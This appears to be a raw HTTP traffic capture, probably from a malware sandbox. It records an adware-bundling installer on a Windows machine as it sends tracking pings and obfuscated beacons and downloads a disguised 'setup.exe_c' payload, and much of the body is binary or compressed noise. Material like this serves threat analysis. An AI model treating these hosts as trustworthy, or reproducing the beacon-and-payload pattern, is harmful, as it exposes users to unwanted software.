rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Tuem34xi2EE-6s4-8Dsl0sG2M
vun6MpJFsR_kFD2EMtq938gUAXmsg==......

GET /25361.ashx?e=/9ZmISdorEtPNjxRBLtb46IVBOIBZJiF/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwC7YZDXfmlHxmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeZmmutUZ0P/5KGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFIf3RLuL65mgb49qSg1c16q1wR Xa67k83tC00lsCOkBO4Xoi5PcN r3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:16 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PlW_PyYXWwxfa8pAXe9m1A9zlL_K98IDHwUDQsD0AgkTN24UWWMa1Q==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:16 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: PlW_PyYXWwxfa8pAXe9m1A9zl
L_K98IDHwUDQsD0AgkTN24UWWMa1Q==......

GET /25361.ashx?e=Ka qOJkckoVPNjxRBLtb40ze1S7ErIq2/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhwwsgTCGAfUziw6kHnR XV4QBZGQjpShx/0JQd5HxgIXdABmFtdiJe0br0BIV93bNcKPuMdH9xkPEqLS1Wgne9fqzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqD QhutMSWXkDivn881BDw6xx AjnWvA7ssgX4HQvzDxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: h9-3GEEvkOowtNuxd_QvgrGiOOditJe997qPHMQjf_dO4NICQFuVmQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:12 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: h9-3GEEvkOowtNuxd_QvgrGiO
OditJe997qPHMQjf_dO4NICQFuVmQ==..

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=738929&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:26 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.......0....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:01:27 GMT

Expires: Sat, 28 Feb 2015 02:01:27 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08

0..........0..... .....0......0...0......J......h.v....b..Z./..2015022
3190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
......0......20150223190250Z....20150302190250Z0...*.H...............G
F...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.Q.....iw.Aa..
......lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c..a...........
...p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_............K1..
C.....]..p.0.......D...J"......;.L.`7.V....HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 02:01:27 GMT.
.Expires: Sat, 28 Feb 2015 02:01:27 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.08..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150223190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.......0......20150223190250Z....20150302190250Z0...*.H...
............GF...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.
Q.....iw.Aa........lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c.
.a..............p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_...
.........K1..C.....]..p.0.......D...J"......;.L.`7.V......

<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.37205745997554645 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:20 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:01:20 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:52 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.90 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:52 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.90 ms","message":"store 2 ac
tion and 4 update "}..0..

GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT

Date: Thu, 12 Feb 2015 20:23:37 GMT

Expires: Fri, 12 Feb 2016 20:23:37 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33673

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 970709

Alternate-Protocol: 80:quic,p=0.08
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..<<< skipped >>>

GET /en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; expires=Wed, 25-Feb-2015 02:02:58 GMT; path=/

Set-Cookie: softinst=1424743354; expires=Tue, 24-Feb-2015 03:02:58 GMT; path=/

Set-Cookie: ExoClickCookieCmp=deleted; expires=Mon, 24-Feb-2014 02:02:57 GMT; path=/

Set-Cookie: ExoClickCookieTrk=deleted; expires=Mon, 24-Feb-2014 02:02:57 GMT; path=/

Set-Cookie: ExoClickCookiePar=deleted; expires=Mon, 24-Feb-2014 02:02:57 GMT; path=/
db9..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" . "ht
tp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="h
ttp://VVV.w3.org/1999/xhtml">.<head>.<title>Easy-Burner
</title>.<!-- Google Website Optimizer Tracking Script -->
.<script type="text/javascript">.  var _gaq = _gaq || [];.  _gaq
.push(['gwo._setAccount', 'UA-15433929-1']);.  _gaq.push(['gwo._trackP
ageview', '//goal']);.  (function() {.    var ga = document.createElem
ent('script'); ga.type = 'text/javascript'; ga.async = true;.    ga.sr
c = ('https:' == document.location.protocol ? 'hXXps://ssl' : 'hXXp://
www')   '.google-analytics.com/ga.js';.    var s = document.getElement
sByTagName('script')[0]; s.parentNode.insertBefore(ga, s);.  })();.<
;/script>.<!-- End of Google Website Optimizer Tracking Script -
->.<meta http-equiv="Content-Type" content="text/html; charset=u
tf-8" />.<link rel="stylesheet" type="text/css" href="/css/reset
er.css" />.    <!--[if lte IE 8]>.        <script src="htt
p://ie7-js.googlecode.com/svn/version/2.1(beta4)/IE7.js"></scrip
t>.        <link rel="stylesheet" type="text/css" href="/css/ie.
css" />.    <![endif]-->.    <link rel="stylesheet" type="
text/css" href="/css/default.css" />.<link rel="shortcut icon" h
ref="/images/favicon.ico" />.<script type="text/javascript">.
        function setFlashSize(flashWidth,flashHeight){....var size = [
0,0];....if( typeof( window.innerWidth ) == 'number' ) {.....size <<< skipped >>>

GET /css/reseter.css HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: text/css

Content-Length: 1092

Last-Modified: Wed, 24 Nov 2010 17:54:48 GMT

Connection: keep-alive

Accept-Ranges: bytes
/* --------------------------------------------------[ reseter ]-- */.
.html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquot
e,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd
,q,s,samp,small,strike,strong,sub,sup,tt,var,dl,dt,dd,ol,ul,li,fieldse
t,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;
padding:0;border:0;outline:0;font-weight:inherit;font-style:inherit;fo
nt-size:100%;font-family:inherit;vertical-align:baseline;}..h1,h2,h3,h
4,h5,h6,strong{font-weight:bold;}..:focus{outline:0;}..table{border-co
llapse:collapse;border-spacing:0;empty-cells:show;}..caption,th,td{tex
t-align:left;font-weight:normal;}..img {vertical-align:text-bottom}..a
 img,iframe{border:none;}..ol,ul{list-style:none;}..input,textarea,sel
ect,button{font-size:100%;font-family:inherit;}..textarea{overflow:aut
o;}..select{margin:inherit;}..ol{margin-left:2em;}...clearfix:after{vi
sibility:hidden;display:block;font-size:0;content:" ";clear:both;heigh
t:0;}...clearfix{display:inline-block;}../* \*/..* html .clearfix{heig
ht: 1%;}...clearfix{display:block;}../* */....


GET /images/content-top-shadow.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; __utma=106045591.350837813.1424743400.1424743400.1424743400.1; __utmb=106045591.2.10.1424743400; __utmc=106045591; __utmz=106045591.1424743400.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt_gwo=1; __utmt=1; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354; softpixel=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:03:00 GMT

Content-Type: image/png

Content-Length: 174

Last-Modified: Fri, 26 Nov 2010 15:50:15 GMT

Connection: keep-alive

Accept-Ranges: bytes

.PNG........IHDR.............j.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...PIDATx......0.DQ/..?...K.0......C...o.j.^!H...{T.....?.7Z#..."..
............~..`.?.....E/....IEND.B`.HTTP/1.1 200 OK..Server: nginx..D
ate: Tue, 24 Feb 2015 02:03:00 GMT..Content-Type: image/png..Content-L
ength: 174..Last-Modified: Fri, 26 Nov 2010 15:50:15 GMT..Connection: 
keep-alive..Accept-Ranges: bytes...PNG........IHDR.............j......
.tEXtSoftware.Adobe ImageReadyq.e<...PIDATx......0.DQ/..?...K.0....
..C...o.j.^!H...{T.....?.7Z#..."..............~..`.?.....E/....IEND.B`
...

GET /app/t.ashx?uid=78116d2d-d3b5-4062-b3b8-b2539525da70&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy5lYXN5LWJ1cm5lci5jb20vZW4vc29mdHdhcmUvaW5zdGFsbC8/Y2FtcGFpZ249MTQ3NzYmZW1lPSZ0aW1lc3RhbXA9MTQyNDc0MzIzNTExNjk0OCZ0cmFja2VyPTIyMDAmdGs9Zjg2OGZkYzg2YWY2NDliZTc5ZTkxY2EwMDBhOTBiMTAmbXNvPTUmbXNzPTMmc2VkPTgmc3VpZD1GRDh2aWJOX1UmZG93bmxvYWRfY291bnRyeT1lbiZtcz01JnN0YXR1cz01Jm1zMj0wJnN0YXR1czI9MCZtczM9MCZzdGF0dXMzPTAmc21zPTAmaXRpbWU9MTQyNDc0MzM1NCZwcz0wJnBfc3RhdHVzPTE=&prd=ShopperPro&os=Win32&id=1424743399&aff=smtycl&ver=2.5.8305.1508&usid=2858020935-2156992550-3658131804 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 24 Feb 
2015 02:02:58 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..

GET /smt2b/all/hat/row/setup.exe_c HTTP/1.1

Host: dl.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:05 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424713136"

Last-Modified: Mon, 23 Feb 2015 17:38:56 GMT

Cache-Control: max-age=2283

Content-Length: 2615976

Content-Type: text/plain

X-HW: 1424743326.dop011.am4.t,1424743325.cds043.am4.c
.....Bj..\}K"@.ug,.& ~o....aS.....E...b..1:U..V.=.v.'.....mT..#Vu2.w.M
.=".s7-.......,;iO.t..4..zI....].M0.<4/p...{....J.=..>.75Iv..g.n
.=........f....2..#.K.|.yBB..$8%@........ ..i...c.a.}.B.b^.....H..5...
...v.r%}w.b...H...J..6q#.h.k..Y....C...xgY.x{F.:....a.YQ/.Q.X.Z...x.l{
-.xo.w.oq.k..(..9--u..Q..$..'...N.......Df..|?...Sg.?s....=..<n....
....h.%.3(.#SAT..m..C........A...gm>K>..D...z...x.^.....'.*.....
.8u p%~'/.<0.&..Yq6,..n..).fV....g4..R]`...$Q..z[J.m.g..F...B.=K!A.
..~.?..j:.$.> uR.j.u.DJ..l...K...}M%[email protected]
.....].Z..M.-. n!...O.;..k...u.N).Q.:.h.I .'5......A...>..7......A.
.88G.....Jm>....~.V"..,.DD...o^.R.Y..[....g.~...../..ffD.%....\.,I.
...j..&...Q....."........9...a..}.y..........h..k..n..3...~a.F&..s....
B..st..........JS....at...(..2~c..b;ZP.......*.Q...B.b.x.)Q%.Mm....g.=
......'..v....W[........ .s...K..[..A[...b.wZ.9#;..(..........l^{....J
5.Stt.6..-f..i{....GU.j.....d%..1.Qs... RV..*.p..`i.P.T.~.F.'...7wh...
Q.d..w...5...#iA........q.m.."h...Ck.A._'..I......7l.HV.|9.&Q>.....
..]. ..h..........g.:Wc..>...P.....N....... Y.....1...u..*....bl.tJ
.DS.]..s=....j.Q..3....'.w.H.s.3.:...... ..(A3.W &...|!I........Y.....
H.%.............q{..1.I..U..9A!z....K?......3;a....dT.MH...X.7...M....
..Vs=8.......'.......s)....(..#...5..............}.[...7...D#..3..~..r
.)g... .(_.6..J.4c...>.ac.7....#[email protected]..&.k{..i...J..^.OD..0."C..."|z
..Gu..k.......oC...Y..0....8FN.:.?..&.e...'8...V...`5j..\..._?..\.B...
..on...%...Z$8tR).........5.$p...:5.!.B...t6S.4#}o|....P......X..L<<< skipped >>>

GET /res/helper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:56 GMT

Content-Type: application/x-javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Tue, 24 Feb 2015 02:25:31 GMT

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.easy-burner.com&xdm_c=default9204&xdm_p=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT

ETag: W/"226cdf70832ad01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip

9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015
 02:02:57 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT..ET
ag: W/"226cdf70832ad01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....
8.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T
2....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../".......
..0......

GET /res/beat/204/Beat.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

